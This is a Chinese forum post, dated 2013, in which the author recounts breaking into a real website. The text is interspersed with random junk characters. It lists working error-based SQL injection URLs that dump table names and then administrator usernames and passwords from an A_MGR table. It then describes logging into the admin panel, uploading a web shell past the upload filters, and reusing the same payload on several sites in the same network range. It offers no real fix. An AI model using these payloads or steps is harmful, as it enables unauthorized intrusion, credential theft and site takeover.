发现一个注入点" `$ v2 T3 O% x* ]5 p! Y
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
7 @7 G) s- x- p5 w$ W. x5 U# Y& ~7 Z U) A- A i5 y- z
习惯性的加’having1=1--
( B' {' \ `( _; \- I% \& ]8 o
Y- [) n' l- a5 Xhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
- p! s' v( M0 K* l* f$ K0 Z7 e8 ~ F' y
0
4 @* ^: Z. \+ d X! ^3 {4 z3 H+ O& C) `5 u% h3 g$ @
爆出Diary_A.dl_Title（这时候很激动啊）3 G: ]+ z7 \. w5 T
* P5 r* A$ j+ g. a
那么继续! J; A6 B4 W' Q# `+ Y, p. d& ~
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—; ]* z( U) e( }$ w; ?: j
: v6 g- `0 Q2 R; Y
继续，一直爆下去. K( P2 ?$ \$ j8 n/ l
3 h$ W- x+ b. p1 v8 D: t
爆到几个字段和表段 但是没找到需要的管理用户的字段1 ^& `) z9 b% G$ @3 A
7 C8 u" ^* y8 h1 o3 C* z蛋疼了 怎么办 然后去后台登陆页看源码1 v+ g+ \6 Z8 g5 v0 l/ Z1 p3 M
( V: ]/ D$ f3 y
0
' E2 c! r9 c! ~) s2 h+ K8 u$ j" L+ j$ Z9 [
Input name= “ADUID”
A4 ` B; A7 o9 w+ Q0 BInput name= “ADPWD”
5 X- P. k o N- u' [5 t
5 N* R) D- n( w- ^很幸运 找到了字段那就继续# `7 q4 {. H$ ?) T, g' T
找到之后开始爆用户
2 _# X+ j$ k X& K) mhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—8 v3 N* i& {; _ F" \ }
爆密码
# _/ X6 R& i7 T* n5 Y3 D! @6 fhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
) h' ^# t! w& `: v' |5 J& k测试了下 这个注入点只能爆到文章哪里的表
! w! {: u! N& }# @; g& O$ O2 C/ L, _
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了+ \' V( G! q2 R( z5 g" H7 f
/ P( a- P6 |# p, d0 H又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了2 v0 L% N: p" h( p
- {' ~' S/ K; Y2 t1 e# ]473
6 T! m* V+ l$ X% U: y/ r& g0 s1 f
9 u, u- V( c, ?* F& X+ g- J/ W进后台8 u+ o& R+ N/ v4 `' j d
0 X7 P8 r3 L- \4 t) K1 C
! _% Q) y/ B! i/ U/ x3 Y o
发现几个上传点 有的地方不能上传 而且防止恶意代码
( a5 \( q5 V: \& I2 j* ^" k" u# a+ H! k, X& w& S
没办法 各种百度各种找大牛 找到一只好像可以突破的马
% p8 y$ z2 v% E) [% t
6 p$ h$ ?4 {1 b- a; ^2 `0 @" @9 p; E7 ]! m
在系统管理那里直接上传 不过没有显示地址
# [ L6 z* m" _7 l7 O; E0 f8 d" O" u0 ?" ]0 I
再上传一次 抓包 搞定OK
, ?! r2 |9 g8 ^0 a2 d z2 G7 @* M8 a9 F% }. K% q) \9 a
* w2 q3 H! P- z6 f
l& L a5 n9 u* ?
4726 m3 a3 \4 n0 D; ^% A9 `
, C, O! d5 Q0 x& [
晚上不行了 去睡觉。。。
7 P, B7 S3 q; d第二天刚起床 闲的没事做继续日站吧 7 C" v! ?# Q) \- ?, Z
, _; I, Y" x0 n ?7 i+ ]
找个站 就把这个站的旁c扫了下
0 L! w5 ~' B3 D+ x
* g1 K; z5 z* q2 |0 q$ f发现c段也有一个购物站 ，然后还和这个站的模板差不多8 ?6 O: p3 ?+ k0 X: m: E4 b: d
4 S/ N- p. _1 u( N: r就找到会员登录口测试 Q, g! c& i0 s) ~) E' t
8 _3 K9 x% \; ~1 W
'and (select top 1 MGR_UID from A_MGR)>0—
4 Y% E" x6 N1 z( Q+ u8 |! G果断爆到了 这时候我很激动 通杀
' G& d0 ?: S, I2 P
& d( Q* Y, E. p) v9 C& |再次翻c段* N. }" S8 i1 D5 j+ `3 c" z0 a7 Y
: Q* s* v. d0 J( T" r$ @翻出几个站 都成功拿下: n' J; J: y6 C2 m: ~
. s8 P. Q" q$ S& m1 U/ f( \6 ?' H) @9 S' ?& c6 w: l
- ~$ k6 e8 o: M修复方案：
) t4 D$ Q$ h# ^5 U4 F) m他们比我专业
8 h. |5 w5 N4 v# o8 d/ R8 S; C U7 B t3 L3 D$ U1 L) V4 u
' K5 Q3 X' Y; e6 k8 F
0 n- ]* ~! A/ V: E$ t/ ]$ V) u |
发表于 2013-4-4 17:40:38
收藏
支持
反对